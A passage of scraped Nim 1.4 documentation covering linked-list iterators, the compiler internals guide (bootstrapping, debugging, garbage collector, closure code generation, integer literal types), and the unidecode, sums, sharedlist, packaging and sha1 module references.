"[10, 20, 30, 40, 50]" for x in mitems(a): x = 5*x - 1 assert $a == "[49, 99, 149, 199, 249]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L255) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L255) ``` iterator nodes[T](L: SomeLinkedList[T]): SomeLinkedNode[T] ``` Iterates over every node of `x`. Removing the current node from the list during traversal is supported. See also: * [items iterator](#items.i,SomeLinkedList%5BT%5D) * [mitems iterator](#mitems.i,SomeLinkedList%5BT%5D) **Example:** ``` var a = initDoublyLinkedList[int]() for i in 1 .. 5: a.append(10*i) assert $a == "[10, 20, 30, 40, 50]" for x in nodes(a): if x.value == 30: a.remove(x) else: x.value = 5*x.value - 1 assert $a == "[49, 99, 199, 249]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L271) ``` iterator nodes[T](L: SomeLinkedRing[T]): SomeLinkedNode[T] ``` Iterates over every node of `x`. Removing the current node from the list during traversal is supported. See also: * [items iterator](#items.i,SomeLinkedRing%5BT%5D) * [mitems iterator](#mitems.i,SomeLinkedRing%5BT%5D) **Example:** ``` var a = initDoublyLinkedRing[int]() for i in 1 .. 5: a.append(10*i) assert $a == "[10, 20, 30, 40, 50]" for x in nodes(a): if x.value == 30: a.remove(x) else: x.value = 5*x.value - 1 assert $a == "[49, 99, 199, 249]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L296) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L296)
programming_docs
nim Internals of the Nim Compiler Internals of the Nim Compiler ============================= > "Abstraction is layering ignorance on top of reality." -- Richard Gabriel > > Directory structure ------------------- The Nim project's directory structure is: | Path | Purpose | | --- | --- | | `bin` | generated binary files | | `build` | generated C code for the installation | | `compiler` | the Nim compiler itself; note that this code has been translated from a bootstrapping version written in Pascal, so the code is **not** a poster child of good Nim code | | `config` | configuration files for Nim | | `dist` | additional packages for the distribution | | `doc` | the documentation; it is a bunch of reStructuredText files | | `lib` | the Nim library | | `web` | website of Nim; generated by `nimweb` from the `*.txt` and `*.nimf` files | Bootstrapping the compiler -------------------------- Compiling the compiler is a simple matter of running: ``` nim c koch.nim ./koch boot ``` For a release version use: ``` nim c koch.nim ./koch boot -d:release ``` And for a debug version compatible with GDB: ``` nim c koch.nim ./koch boot --debuginfo --linedir:on ``` The `koch` program is Nim's maintenance script. It is a replacement for make and shell scripting with the advantage that it is much more portable. More information about its options can be found in the <koch> documentation. Coding Guidelines ----------------- * Use CamelCase, not underscored\_identifiers. * Indent with two spaces. * Max line length is 80 characters. * Provide spaces around binary operators if that enhances readability. * Use a space after a colon, but not before it. * [deprecated] Start types with a capital `T`, unless they are pointers/references which start with `P`. See also the [API naming design](apis) document. Porting to new platforms ------------------------ Porting Nim to a new architecture is pretty easy, since C is the most portable programming language (within certain limits) and Nim generates C code, porting the code generator is not necessary. POSIX-compliant systems on conventional hardware are usually pretty easy to port: Add the platform to `platform` (if it is not already listed there), check that the OS, System modules work and recompile Nim. The only case where things aren't as easy is when the garbage collector needs some assembler tweaking to work. The standard version of the GC uses C's `setjmp` function to store all registers on the hardware stack. It may be necessary that the new platform needs to replace this generic code by some assembler code. Runtime type information ------------------------ *Runtime type information* (RTTI) is needed for several aspects of the Nim programming language: Garbage collection The most important reason for RTTI. Generating traversal procedures produces bigger code and is likely to be slower on modern hardware as dynamic procedure binding is hard to predict. Complex assignments Sequences and strings are implemented as pointers to resizeable buffers, but Nim requires copying for assignments. Apart from RTTI the compiler could generate copy procedures for any type that needs one. However, this would make the code bigger and the RTTI is likely already there for the GC. We already know the type information as a graph in the compiler. Thus we need to serialize this graph as RTTI for C code generation. Look at the file `lib/system/hti.nim` for more information. Rebuilding the compiler ----------------------- After an initial build via `sh build_all.sh` on posix or `build_all.bat` on windows, you can rebuild the compiler as follows: * `nim c koch` if you need to rebuild koch * `./koch boot -d:release` this ensures the compiler can rebuild itself (use `koch` instead of `./koch` on windows), which builds the compiler 3 times. A faster approach if you don't need to run the full bootstrapping implied by `koch boot`, is the following: * `pathto/nim c --lib:lib -d:release -o:bin/nim_temp compiler/nim.nim` Where `pathto/nim` is any nim binary sufficiently recent (e.g. `bin/nim_cources` built during bootstrap or `$HOME/.nimble/bin/nim` installed by `choosenim 1.2.0`) You can pass any additional options such as `-d:leanCompiler` if you don't need certain features or `-d:debug --stacktrace:on --excessiveStackTrace --stackTraceMsgs` for debugging the compiler. See also [Debugging the compiler](intern#debugging-the-compiler). Debugging the compiler ---------------------- You can of course use GDB or Visual Studio to debug the compiler (via `--debuginfo --lineDir:on`). However, there are also lots of procs that aid in debugging: ``` # pretty prints the Nim AST echo renderTree(someNode) # outputs some JSON representation debug(someNode) # pretty prints some type echo typeToString(someType) debug(someType) echo symbol.name.s debug(symbol) # pretty prints the Nim ast, but annotates symbol IDs: echo renderTree(someNode, {renderIds}) if `??`(conf, n.info, "temp.nim"): # only output when it comes from "temp.nim" echo renderTree(n) if `??`(conf, n.info, "temp.nim"): # why does it process temp.nim here? writeStackTrace() ``` These procs may not be imported by a module. You can import them directly for debugging: ``` from astalgo import debug from types import typeToString from renderer import renderTree from msgs import `??` ``` To create a new compiler for each run, use `koch temp`: ``` ./koch temp c /tmp/test.nim ``` `koch temp` creates a debug build of the compiler, which is useful to create stacktraces for compiler debugging. See also [Rebuilding the compiler](intern#rebuilding-the-compiler) if you need more control. Bisecting for regressions ------------------------- `koch temp` returns 125 as the exit code in case the compiler compilation fails. This exit code tells `git bisect` to skip the current commit.: ``` git bisect start bad-commit good-commit git bisect run ./koch temp -r c test-source.nim ``` You can also bisect using custom options to build the compiler, for example if you don't need a debug version of the compiler (which runs slower), you can replace `./koch temp` by explicit compilation command, see [Rebuilding the compiler](intern#rebuilding-the-compiler). The compiler's architecture --------------------------- Nim uses the classic compiler architecture: A lexer/scanner feds tokens to a parser. The parser builds a syntax tree that is used by the code generator. This syntax tree is the interface between the parser and the code generator. It is essential to understand most of the compiler's code. In order to compile Nim correctly, type-checking has to be separated from parsing. Otherwise generics cannot work. ### Short description of Nim's modules | Module | Description | | --- | --- | | nim | main module: parses the command line and calls `main.MainCommand` | | main | implements the top-level command dispatching | | nimconf | implements the config file reader | | syntaxes | dispatcher for the different parsers and filters | | filter\_tmpl | standard template filter (`#? stdtempl`) | | lexbase | buffer handling of the lexical analyser | | lexer | lexical analyser | | parser | Nim's parser | | renderer | Nim code renderer (AST back to its textual form) | | options | contains global and local compiler options | | ast | type definitions of the abstract syntax tree (AST) and node constructors | | astalgo | algorithms for containers of AST nodes; converting the AST to YAML; the symbol table | | passes | implement the passes manager for passes over the AST | | trees | some algorithms for nodes; this module is less important | | types | module for traversing type graphs; also contain several helpers for dealing with types | | | | | sigmatch | contains the matching algorithm that is used for proc calls | | semexprs | contains the semantic checking phase for expressions | | semstmts | contains the semantic checking phase for statements | | semtypes | contains the semantic checking phase for types | | seminst | instantiation of generic procs and types | | semfold | contains code to deal with constant folding | | semthreads | deep program analysis for threads | | evals | contains an AST interpreter for compile time evaluation | | pragmas | semantic checking of pragmas | | | | | idents | implements a general mapping from identifiers to an internal representation (`PIdent`) that is used so that a simple id-comparison suffices to establish whether two Nim identifiers are equivalent | | ropes | implements long strings represented as trees for lazy evaluation; used mainly by the code generators | | | | | transf | transformations on the AST that need to be done before code generation | | cgen | main file of the C code generator | | ccgutils | contains helpers for the C code generator | | ccgtypes | the generator for C types | | ccgstmts | the generator for statements | | ccgexprs | the generator for expressions | | extccomp | this module calls the C compiler and linker; interesting if you want to add support for a new C compiler | ### The syntax tree The syntax tree consists of nodes which may have an arbitrary number of children. Types and symbols are represented by other nodes, because they may contain cycles. The AST changes its shape after semantic checking. This is needed to make life easier for the code generators. See the "ast" module for the type definitions. The <macros> module contains many examples how the AST represents each syntactic structure. How the RTL is compiled ----------------------- The `system` module contains the part of the RTL which needs support by compiler magic (and the stuff that needs to be in it because the spec says so). The C code generator generates the C code for it, just like any other module. However, calls to some procedures like `addInt` are inserted by the CCG. Therefore the module `magicsys` contains a table (`compilerprocs`) with all symbols that are marked as `compilerproc`. `compilerprocs` are needed by the code generator. A `magic` proc is not the same as a `compilerproc`: A `magic` is a proc that needs compiler magic for its semantic checking, a `compilerproc` is a proc that is used by the code generator. Compilation cache ----------------- The implementation of the compilation cache is tricky: There are lots of issues to be solved for the front- and backend. ### General approach: AST replay We store a module's AST of a successful semantic check in a SQLite database. There are plenty of features that require a sub sequence to be re-applied, for example: ``` {.compile: "foo.c".} # even if the module is loaded from the DB, # "foo.c" needs to be compiled/linked. ``` The solution is to **re-play** the module's top level statements. This solves the problem without having to special case the logic that fills the internal seqs which are affected by the pragmas. In fact, this describes how the AST should be stored in the database, as a "shallow" tree. Let's assume we compile module `m` with the following contents: ``` import strutils var x*: int = 90 {.compile: "foo.c".} proc p = echo "p" proc q = echo "q" static: echo "static" ``` Conceptually this is the AST we store for the module: ``` import strutils var x* {.compile: "foo.c".} proc p proc q static: echo "static" ``` The symbol's `ast` field is loaded lazily, on demand. This is where most savings come from, only the shallow outer AST is reconstructed immediately. It is also important that the replay involves the `import` statement so that dependencies are resolved properly. ### Shared global compiletime state Nim allows `.global, compiletime` variables that can be filled by macro invocations across different modules. This feature breaks modularity in a severe way. Plenty of different solutions have been proposed: * Restrict the types of global compiletime variables to `Set[T]` or similar unordered, only-growable collections so that we can track the module's write effects to these variables and reapply the changes in a different order. * In every module compilation, reset the variable to its default value. * Provide a restrictive API that can load/save the compiletime state to a file. (These solutions are not mutually exclusive.) Since we adopt the "replay the top level statements" idea, the natural solution to this problem is to emit pseudo top level statements that reflect the mutations done to the global variable. However, this is MUCH harder than it sounds, for example `squeaknim` uses this snippet: ``` apicall.add(") module: '" & dllName & "'>\C" & "\t^self externalCallFailed\C!\C\C") stCode.add(st & "\C\t\"Generated by NimSqueak\"\C\t" & apicall) ``` We can "replay" `stCode.add` only if the values of `st` and `apicall` are known. And even then a hash table's `add` with its hashing mechanism is too hard to replay. In practice, things are worse still, consider `someGlobal[i][j].add arg`. We only know the root is `someGlobal` but the concrete path to the data is unknown as is the value that is added. We could compute a "diff" between the global states and use that to compute a symbol patchset, but this is quite some work, expensive to do at runtime (it would need to run after every module has been compiled) and would also break for hash tables. We need an API that hides the complex aliasing problems by not relying on Nim's global variables. The obvious solution is to use string keys instead of global variables: ``` proc cachePut*(key: string; value: string) proc cacheGet*(key: string): string ``` However, the values being strings/json is quite problematic: Many lookup tables that are built at compiletime embed *proc vars* and types which have no obvious string representation... Seems like AST diffing is still the best idea as it will not require to use an alien API and works with some existing Nimble packages, at least. On the other hand, in Nim's future I would like to replace the VM by native code. A diff algorithm wouldn't work for that. Instead the native code would work with an API like `put`, `get`: ``` proc cachePut*(key: string; value: NimNode) proc cacheGet*(key: string): NimNode ``` The API should embrace the AST diffing notion: See the module `macrocache` for the final details. ### Methods and type converters In the following sections *global* means *shared between modules* or *property of the whole program*. Nim contains language features that are *global*. The best example for that are multi methods: Introducing a new method with the same name and some compatible object parameter means that the method's dispatcher needs to take the new method into account. So the dispatching logic is only completely known after the whole program has been translated! Other features that are *implicitly* triggered cause problems for modularity too. Type converters fall into this category: ``` # module A converter toBool(x: int): bool = result = x != 0 ``` ``` # module B import A if 1: echo "ugly, but should work" ``` If in the above example module `B` is re-compiled, but `A` is not then `B` needs to be aware of `toBool` even though `toBool` is not referenced in `B` *explicitly*. Both the multi method and the type converter problems are solved by the AST replay implementation. #### Generics We cache generic instantiations and need to ensure this caching works well with the incremental compilation feature. Since the cache is attached to the `PSym` datastructure, it should work without any special logic. ### Backend issues * Init procs must not be "forgotten" to be called. * Files must not be "forgotten" to be linked. * Method dispatchers are global. * DLL loading via `dlsym` is global. * Emulated thread vars are global. However the biggest problem is that dead code elimination breaks modularity! To see why, consider this scenario: The module `G` (for example the huge Gtk2 module...) is compiled with dead code elimination turned on. So none of `G`'s procs is generated at all. Then module `B` is compiled that requires `G.P1`. Ok, no problem, `G.P1` is loaded from the symbol file and `G.c` now contains `G.P1`. Then module `A` (that depends on `B` and `G`) is compiled and `B` and `G` are left unchanged. `A` requires `G.P2`. So now `G.c` MUST contain both `P1` and `P2`, but we haven't even loaded `P1` from the symbol file, nor do we want to because we then quickly would restore large parts of the whole program. #### Solution The backend must have some logic so that if the currently processed module is from the compilation cache, the `ast` field is not accessed. Instead the generated C(++) for the symbol's body needs to be cached too and inserted back into the produced C file. This approach seems to deal with all the outlined problems above. Debugging Nim's memory management --------------------------------- The following paragraphs are mostly a reminder for myself. Things to keep in mind: * If an assertion in Nim's memory manager or GC fails, the stack trace keeps allocating memory! Thus a stack overflow may happen, hiding the real issue. * What seem to be C code generation problems is often a bug resulting from not producing prototypes, so that some types default to `cint`. Testing without the `-w` option helps! The Garbage Collector --------------------- ### Introduction I use the term *cell* here to refer to everything that is traced (sequences, refs, strings). This section describes how the GC works. The basic algorithm is *Deferrent Reference Counting* with cycle detection. References on the stack are not counted for better performance and easier C code generation. Each cell has a header consisting of a RC and a pointer to its type descriptor. However the program does not know about these, so they are placed at negative offsets. In the GC code the type `PCell` denotes a pointer decremented by the right offset, so that the header can be accessed easily. It is extremely important that `pointer` is not confused with a `PCell` as this would lead to a memory corruption. ### The CellSet data structure The GC depends on an extremely efficient datastructure for storing a set of pointers - this is called a `TCellSet` in the source code. Inserting, deleting and searching are done in constant time. However, modifying a `TCellSet` during traversal leads to undefined behaviour. ``` type TCellSet # hidden proc cellSetInit(s: var TCellSet) # initialize a new set proc cellSetDeinit(s: var TCellSet) # empty the set and free its memory proc incl(s: var TCellSet, elem: PCell) # include an element proc excl(s: var TCellSet, elem: PCell) # exclude an element proc `in`(elem: PCell, s: TCellSet): bool # tests membership iterator elements(s: TCellSet): (elem: PCell) ``` All the operations have to perform efficiently. Because a Cellset can become huge a hash table alone is not suitable for this. We use a mixture of bitset and hash table for this. The hash table maps *pages* to a page descriptor. The page descriptor contains a bit for any possible cell address within this page. So including a cell is done as follows: * Find the page descriptor for the page the cell belongs to. * Set the appropriate bit in the page descriptor indicating that the cell points to the start of a memory block. Removing a cell is analogous - the bit has to be set to zero. Single page descriptors are never deleted from the hash table. This is not needed as the data structures needs to be rebuilt periodically anyway. Complete traversal is done in this way: ``` for each page descriptor d: for each bit in d: if bit == 1: traverse the pointer belonging to this bit ``` ### Further complications In Nim the compiler cannot always know if a reference is stored on the stack or not. This is caused by var parameters. Consider this example: ``` proc setRef(r: var ref TNode) = new(r) proc usage = var r: ref TNode setRef(r) # here we should not update the reference counts, because # r is on the stack setRef(r.left) # here we should update the refcounts! ``` We have to decide at runtime whether the reference is on the stack or not. The generated code looks roughly like this: ``` void setref(TNode** ref) { unsureAsgnRef(ref, newObj(TNode_TI, sizeof(TNode))) } void usage(void) { setRef(&r) setRef(&r->left) } ``` Note that for systems with a continuous stack (which most systems have) the check whether the ref is on the stack is very cheap (only two comparisons). Code generation for closures ---------------------------- Code generation for closures is implemented by lambda lifting. ### Design A `closure` proc var can call ordinary procs of the default Nim calling convention. But not the other way round! A closure is implemented as a `tuple[prc, env]`. `env` can be nil implying a call without a closure. This means that a call through a closure generates an `if` but the interoperability is worth the cost of the `if`. Thunk generation would be possible too, but it's slightly more effort to implement. Tests with GCC on Amd64 showed that it's really beneficial if the 'environment' pointer is passed as the last argument, not as the first argument. Proper thunk generation is harder because the proc that is to wrap could stem from a complex expression: ``` receivesClosure(returnsDefaultCC[i]) ``` A thunk would need to call 'returnsDefaultCC[i]' somehow and that would require an *additional* closure generation... Ok, not really, but it requires to pass the function to call. So we'd end up with 2 indirect calls instead of one. Another much more severe problem which this solution is that it's not GC-safe to pass a proc pointer around via a generic `ref` type. Example code: ``` proc add(x: int): proc (y: int): int {.closure.} = return proc (y: int): int = return x + y var add2 = add(2) echo add2(5) #OUT 7 ``` This should produce roughly this code: ``` type PEnv = ref object x: int # data proc anon(y: int, c: PEnv): int = return y + c.x proc add(x: int): tuple[prc, data] = var env: PEnv new env env.x = x result = (anon, env) var add2 = add(2) let tmp = if add2.data == nil: add2.prc(5) else: add2.prc(5, add2.data) echo tmp ``` Beware of nesting: ``` proc add(x: int): proc (y: int): proc (z: int): int {.closure.} {.closure.} = return lambda (y: int): proc (z: int): int {.closure.} = return lambda (z: int): int = return x + y + z var add24 = add(2)(4) echo add24(5) #OUT 11 ``` This should produce roughly this code: ``` type PEnvX = ref object x: int # data PEnvY = ref object y: int ex: PEnvX proc lambdaZ(z: int, ey: PEnvY): int = return ey.ex.x + ey.y + z proc lambdaY(y: int, ex: PEnvX): tuple[prc, data: PEnvY] = var ey: PEnvY new ey ey.y = y ey.ex = ex result = (lambdaZ, ey) proc add(x: int): tuple[prc, data: PEnvX] = var ex: PEnvX ex.x = x result = (labmdaY, ex) var tmp = add(2) var tmp2 = tmp.fn(4, tmp.data) var add24 = tmp2.fn(4, tmp2.data) echo add24(5) ``` We could get rid of nesting environments by always inlining inner anon procs. More useful is escape analysis and stack allocation of the environment, however. ### Alternative Process the closure of all inner procs in one pass and accumulate the environments. This is however not always possible. ### Accumulator ``` proc getAccumulator(start: int): proc (): int {.closure} = var i = start return lambda: int = inc i return i proc p = var delta = 7 proc accumulator(start: int): proc(): int = var x = start-1 result = proc (): int = x = x + delta inc delta return x var a = accumulator(3) var b = accumulator(4) echo a() + b() ``` ### Internals Lambda lifting is implemented as part of the `transf` pass. The `transf` pass generates code to setup the environment and to pass it around. However, this pass does not change the types! So we have some kind of mismatch here; on the one hand the proc expression becomes an explicit tuple, on the other hand the tyProc(ccClosure) type is not changed. For C code generation it's also important the hidden formal param is `void*` and not something more specialized. However the more specialized env type needs to passed to the backend somehow. We deal with this by modifying `s.ast[paramPos]` to contain the formal hidden parameter, but not `s.typ`! ### Integer literals: In Nim, there is a redundant way to specify the type of an integer literal. First of all, it should be unsurprising that every node has a node kind. The node of an integer literal can be any of the following values: > nkIntLit, nkInt8Lit, nkInt16Lit, nkInt32Lit, nkInt64Lit, nkUIntLit, nkUInt8Lit, nkUInt16Lit, nkUInt32Lit, nkUInt64Lit > > On top of that, there is also the `typ` field for the type. It the kind of the `typ` field can be one of the following ones, and it should be matching the literal kind: > tyInt, tyInt8, tyInt16, tyInt32, tyInt64, tyUInt, tyUInt8, tyUInt16, tyUInt32, tyUInt64 > > Then there is also the integer literal type. This is a specific type that is implicitly convertible into the requested type if the requested type can hold the value. For this to work, the type needs to know the concrete value of the literal. For example an expression `321` will be of type `int literal(321)`. This type is implicitly convertible to all integer types and ranges that contain the value `321`. That would be all builtin integer types except `uint8` and `int8` where `321` would be out of range. When this literal type is assigned to a new `var` or `let` variable, it's type will be resolved to just `int`, not `int literal(321)` unlike constants. A constant keeps the full `int literal(321)` type. Here is an example where that difference matters. ``` proc foo(arg: int8) = echo "def" const tmp1 = 123 foo(tmp1) # OK let tmp2 = 123 foo(tmp2) # Error ``` In a context with multiple overloads, the integer literal kind will always prefer the `int` type over all other types. If none of the overloads is of type `int`, then there will be an error because of ambiguity. ``` proc foo(arg: int) = echo "abc" proc foo(arg: int8) = echo "def" foo(123) # output: abc proc bar(arg: int16) = echo "abc" proc bar(arg: int8) = echo "def" bar(123) # Error ambiguous call ``` In the compiler these integer literal types are represented with the node kind `nkIntLit`, type kind `tyInt` and the member `n` of the type pointing back to the integer literal node in the ast containing the integer value. These are the properties that hold true for integer literal types. > n.kind == nkIntLit n.typ.kind == tyInt n.typ.n == n > > Other literal types, such as `uint literal(123)` that would automatically convert to other integer types, but prefers to become a `uint` are not part of the Nim language. In an unchecked AST, the `typ` field is nil. The type checker will set the `typ` field accordingly to the node kind. Nodes of kind `nkIntLit` will get the integer literal type (e.g. `int literal(123)`). Nodes of kind `nkUIntLit` will get type `uint` (kind `tyUint`), etc. This also means that it is not possible to write a literal in an unchecked AST that will after sem checking just be of type `int` and not implicitly convertible to other integer types. This only works for all integer types that are not `int`.
programming_docs
nim unidecode unidecode ========= This module is based on Python's Unidecode module by Tomaz Solc, which in turn is based on the `Text::Unidecode` Perl module by Sean M. Burke (<http://search.cpan.org/~sburke/Text-Unidecode-0.04/lib/Text/Unidecode.pm> ). It provides a single proc that does Unicode to ASCII transliterations: It finds the sequence of ASCII characters that is the closest approximation to the Unicode string. For example, the closest to string "Äußerst" in ASCII is "Ausserst". Some information is lost in this transformation, of course, since several Unicode strings can be transformed in the same ASCII representation. So this is a strictly one-way transformation. However a human reader will probably still be able to guess what original string was meant from the context. This module needs the data file "unidecode.dat" to work: This file is embedded as a resource into your application by default. But you an also define the symbol `--define:noUnidecodeTable` during compile time and use the `loadUnidecodeTable` proc to initialize this module. Imports ------- <unicode>, <strutils> Procs ----- ``` proc loadUnidecodeTable(datafile = "unidecode.dat") {...}{.raises: [], tags: [].} ``` loads the datafile that `unidecode` to work. This is only required if the module was compiled with the `--define:noUnidecodeTable` switch. This needs to be called by the main thread before any thread can make a call to `unidecode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unidecode/unidecode.nim#L40) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unidecode/unidecode.nim#L40) ``` proc unidecode(s: string): string {...}{.raises: [], tags: [].} ``` Finds the sequence of ASCII characters that is the closest approximation to the UTF-8 string `s`. Example: > unidecode("北京") > > Results in: "Bei Jing" [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unidecode/unidecode.nim#L52) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unidecode/unidecode.nim#L52) nim sums sums ==== Fast sumation functions. **Example:** ``` static: block: const data = [1, 2, 3, 4, 5, 6, 7, 8, 9] doAssert sumKbn(data) == 45 doAssert sumPairs(data) == 45 ``` Imports ------- <math> Funcs ----- ``` func sumKbn[T](x: openArray[T]): T ``` Kahan-Babuška-Neumaier summation: O(1) error growth, at the expense of a considerable increase in computational expense. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/sums.nim#L12) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/sums.nim#L12) ``` func sumPairs[T](x: openArray[T]): T ``` Pairwise (cascade) summation of `x[i0:i0+n-1]`, with O(log n) error growth (vs O(n) for a simple loop) with negligible performance cost if the base case is large enough. See, e.g.: * <http://en.wikipedia.org/wiki/Pairwise_summation> Higham, Nicholas J. (1993), "The accuracy of floating point summation", SIAM Journal on Scientific Computing 14 (4): 783–799. In fact, the root-mean-square error growth, assuming random roundoff errors, is only O(sqrt(log n)), which is nearly indistinguishable from O(1) in practice. See: * Manfred Tasche and Hansmartin Zeuner, Handbook of Analytic-Computational Methods in Applied Mathematics (2000). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/sums.nim#L37) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/sums.nim#L37) nim sharedlist sharedlist ========== Shared list support. Unstable API. Imports ------- <locks> Types ----- ``` SharedList[A] = object head, tail: SharedListNode[A] lock*: Lock ``` generic shared list [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedlist.nim#L28) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedlist.nim#L28) Procs ----- ``` proc iterAndMutate[A](x: var SharedList[A]; action: proc (x: A): bool) ``` iterates over the list. If 'action' returns true, the current item is removed from the list. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedlist.nim#L37) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedlist.nim#L37) ``` proc add[A](x: var SharedList[A]; y: A) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedlist.nim#L65) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedlist.nim#L65) ``` proc init[A](t: var SharedList[A]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedlist.nim#L81) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedlist.nim#L81) ``` proc clear[A](t: var SharedList[A]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedlist.nim#L86) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedlist.nim#L86) ``` proc deinitSharedList[A](t: var SharedList[A]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedlist.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedlist.nim#L96) Iterators --------- ``` iterator items[A](x: var SharedList[A]): A ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedlist.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedlist.nim#L57) nim Packaging Nim Packaging Nim ============= This page provide hints on distributing Nim using OS packages. See <distros> for tools to detect Linux distribution at runtime. Supported architectures ----------------------- Nim runs on a wide variety of platforms. Support on amd64 and i386 is tested regularly, while less popular platforms are tested by the community. * amd64 * arm64 (aka aarch64) * armel * armhf * i386 * m68k * mips64el * mipsel * powerpc * ppc64 * ppc64el (aka ppc64le) * riscv64 The following platforms are seldomly tested: * alpha * hppa * ia64 * mips * s390x * sparc64 Packaging for Linux ------------------- See <https://github.com/nim-lang/Nim/labels/Installation> for installation-related bugs. Build Nim from the released tarball at <https://nim-lang.org/install_unix.html> It is different from the GitHub sources as it contains Nimble, C sources & other tools. The Debian package ships bash and ksh completion and manpages that can be reused. Hints on the build process: ``` # build from C sources and then using koch ./build.sh --os $os_type --cpu $cpu_arch ./bin/nim c koch ./koch boot -d:release # optionally generate docs into doc/html ./koch docs ./koch tools -d:release # extract files to be really installed ./install.sh <tempdir> # also include the tools for fn in nimble nimsuggest nimgrep; do cp ./bin/$fn <tempdir>/nim/bin/; done ``` What to install: * The expected stdlib location is /usr/lib/nim * Global configuration files under /etc/nim * Optionally: manpages, documentation, shell completion * When installing documentation, .idx files are not required * The "compiler" directory contains compiler sources and should not be part of the compiler binary package nim sha1 sha1 ==== **Note:** Import `std/sha1` to use this module. [SHA-1 (Secure Hash Algorithm 1)](https://en.wikipedia.org/wiki/SHA-1) is a cryptographic hash function which takes an input and produces a 160-bit (20-byte) hash value known as a message digest. Basic usage ----------- **Example:** ``` let accessName = secureHash("John Doe") assert $accessName == "AE6E4D1209F17B460503904FAD297B31E9CF6362" ``` ``` let a = secureHashFile("myFile.nim") b = parseSecureHash("10DFAEBF6BFDBC7939957068E2EFACEC4972933C") if a == b: echo "Files match" ``` See also -------- * [base64 module](base64) implements a Base64 encoder and decoder * [hashes module](hashes) for efficient computations of hash values for diverse Nim types * [md5 module](md5) implements the MD5 checksum algorithm Imports ------- <strutils>, <endians> Types ----- ``` Sha1Digest = array[0 .. 20 - 1, uint8] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/sha1.nim#L42) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/sha1.nim#L42) ``` SecureHash = distinct Sha1Digest ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/sha1.nim#L43) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/sha1.nim#L43) ``` Sha1State = object count: int state: array[5, uint32] buf: array[64, byte] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/sha1.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/sha1.nim#L46) Procs ----- ``` proc newSha1State(): Sha1State {...}{.raises: [], tags: [].} ``` Creates a `Sha1State`. If you use the [secureHash proc](#secureHash,openArray%5Bchar%5D), there's no need to call this function explicitly. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/sha1.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/sha1.nim#L54) ``` proc update(ctx: var Sha1State; data: openArray[char]) {...}{.raises: [], tags: [].} ``` Updates the `Sha1State` with `data`. If you use the [secureHash proc](#secureHash,openArray%5Bchar%5D), there's no need to call this function explicitly. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/sha1.nim#L151) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/sha1.nim#L151) ``` proc finalize(ctx: var Sha1State): Sha1Digest {...}{.raises: [], tags: [].} ``` Finalizes the `Sha1State` and returns a `Sha1Digest`. If you use the [secureHash proc](#secureHash,openArray%5Bchar%5D), there's no need to call this function explicitly. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/sha1.nim#L186) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/sha1.nim#L186) ``` proc secureHash(str: openArray[char]): SecureHash {...}{.raises: [], tags: [].} ``` Generates a `SecureHash` from `str`. **See also:** * [secureHashFile proc](#secureHashFile,string) for generating a `SecureHash` from a file * [parseSecureHash proc](#parseSecureHash,string) for converting a string `hash` to `SecureHash` **Example:** ``` let hash = secureHash("Hello World") assert hash == parseSecureHash("0A4D55A8D778E5022FAB701977C5D840BBC486D0") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/sha1.nim#L208) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/sha1.nim#L208) ``` proc secureHashFile(filename: string): SecureHash {...}{.raises: [IOError], tags: [ReadIOEffect].} ``` Generates a `SecureHash` from a file. **See also:** * [secureHash proc](#secureHash,openArray%5Bchar%5D) for generating a `SecureHash` from a string * [parseSecureHash proc](#parseSecureHash,string) for converting a string `hash` to `SecureHash` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/sha1.nim#L222) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/sha1.nim#L222) ``` 